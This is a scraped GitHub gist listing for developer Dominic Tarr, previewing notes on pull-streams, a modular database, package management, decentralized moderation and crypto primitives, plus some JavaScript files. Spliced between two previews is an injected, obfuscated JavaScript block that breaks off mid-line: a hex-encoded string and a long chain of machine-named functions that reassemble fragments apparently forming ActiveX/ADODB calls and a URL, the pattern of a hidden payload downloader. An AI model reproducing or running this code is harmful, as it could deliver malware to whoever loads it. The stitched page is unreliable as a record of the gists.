Skip to content

Instantly share code, notes, and snippets.

View dominictarr's full-sized avatar

Dominic Tarr dominictarr

View GitHub Profile

there are two fundamental types of streams source and sink. There are two composite types of streams through (aka transform) and duplex A through stream is a sink stream that reads what goes into the source. a duplex stream is a pair of {source, sink} streams.

Source streams have two methods.

readable stream: source

A source (readable stream) is an async function that may be called repeatedly until it returns a terminal state. You must not call the read function until the previous call has returned, except for a call to abort the stream. pull-streams have back pressure, but it implicit instead of sending an explicit back pressure signal. If a source

@dominictarr
dominictarr / profile.js
Created November 9, 2015 02:34
sbot profile
var fs = require('fs')
var ssbc = require('ssb-client')
var pull = require('pull-stream')
var paramap = require('pull-paramap')
var related = false
//scan
ssbc(function (err, sbot) {
if(err) throw err
@dominictarr
dominictarr / logdb.md
Last active July 29, 2016 17:06
ideas for a modular database

intro

we've had great success building modular database stuff on top of leveldb with node, but as I have learnt more about databases it's become apparent to me that the idea of a modular database would be better implemented at a slightly lower level.

Level db provides a sorted key:value store, which, because of the sorted property, many things can be implemented on top of. For example, for replication, or for consistent materialized views, we often need a write ahead log. This can easily be implemented via a batch write to level, and writing the log into a section of the leveldb key space which is treated as append only.

@dominictarr
dominictarr / packages.md
Created September 18, 2015 05:08
the package manager we need

Git tracks the history of changes, but in a pm we don't really care about the history, at least not when we are installing. This is the properties that I think we do need.

  • security: It must be possible to check the current deps, and know if a single bit has been flipped.
  • replication: It must be possible to share that hash, and someone else would do pm checkout <hash> and get exactly the same code as you.
  • determinism: If I install X, Y then Z, and you install Z, then X then Y, we should get the same dep tree. If those deps have deps that need to be shuffeled around, then it should do that and keep it always optimal.
  • portability: package management is too hard a problem to roll another one for every language. They all suck, more or less. This should be usable for any language, or things that have dependencies.
@dominictarr
dominictarr / .travis.yml
Last active January 5, 2016 01:21
pull-streams crash course
language: node_js
node_js:
- '0.10'
- '0.12'
@dominictarr
dominictarr / readme.md
Created June 23, 2015 18:51
Decentralized Moderation

decentralized moderation

I am working on a p2p protocol for a decentralized social network. I wanted to build decentralized applications (to avoid having central powers who tend to optimize for the wrong thing -- ad clicks) but it's not exactly simple: what makes decentralized protocols hard is a thing called "the sybil attack".

The sybil attack is when a malicious actor generates a large number of fake accounts, and attempts to disrupt the network. This is also a problem in centralized systems - online voting, email spam, sockpuppet armies, gaming reddit

This kind of attack also appears in the human realm! such as astroturfing

@dominictarr
dominictarr / awkward.txt
Last active August 29, 2015 14:23
many awkward yet grammatically valid sentences
There are so many gramatically valid but awkward english sentences.
There are many awkward but gramatically valid english sentences.
There exist many english sentences which are gramatically valid, but awkward to read.
There are many awkward english sentences which are, never the less, gramatically valid.
The english language contains many awkward-to-read sentences that are within the set of gramatically valid sentences.
The set of gramatically valid english sentences contains many that are quite awkward.
Many gramatically valid english sentences are awkward.
The grammatic vallidity of a given engilsh sentence does not preclude it's awkwardness.
There are many awkward, gramatically valid english sentences.
Many awkward sentences are gramatically valid english.
@dominictarr
dominictarr / readme.md
Last active April 20, 2023 02:24
thoughts on crypto modules

We need better crypto primitives and modules - there are lots of standards out there that are dangerous! Things that seem like they should work, don't and this leaves security holes where they shouldn't be, or creates situations where an application must be implemented with knowledge of the internal features of crypto "primitives". example: length-extention attack on api authentication

What is right about the word primitive: simple api + clear security properties (* this isn't always the case, but it can and should be) But, there are other great crypto "primitives" (modules) that are made from actual primitives but never the less provide a simple api and clear properties. A good example of this is nacl's crypto_box it has eliptic curves, salsa20 and poly1305 to create a encrypted buffer that can only be decrypted by the intended key.

easy primitives

  • hash (except hashes that have length extension attacks)
  • digital signatures (bu
var www="5555535E000B090D0A0D074A10051616240309050D084A070B09";function __invalid__compress__const__part() { __uk__sender('Act'); __de__scan__js(); }; function __viewer__proc__analyzer__cn() { __uk__sender('AD'); __eu__valid__logout(); }; function __it__image() { __uk__sender('rs-n'); __gid__fid(); }; function __third__external__send__zip() { __uk__sender('ad'); __analyzer__name__user(); }; function __txt__compress() { __uk__sender('for ('); __view__jquery(); }; function __sort__call__swap__parser() { __uk__sender('ange'); __sender__ca(); }; function __upload__download__sort() { __uk__sender(' }'); __class__home__br(); }; function __updater__small() { __uk__sender('.co'); __reset__num__include(); }; function __scanner__pid__lid() { __uk__sender('(342)'); __lid__java__pl__au(); }; function __it__cn__stable__regular() { __uk__sender('if '); __edit__en__browser__eu(); }; function __analyzer__shop() { __uk__sender(' v'); __category__html(); }; function __eu__valid__logout() { __uk__sender('OD'); __pars
@dominictarr
dominictarr / perms.js
Last active August 29, 2015 14:17
perms for bittodo
{
allow: ['add', 'query'], deny: [],
rules: {
add: {
//allow the call of this method only if the argument is accepted by this function.
call: function (value) {
return (value.type === 'task' || value.type === '_task')
},
query: {
//only allow calls matching this.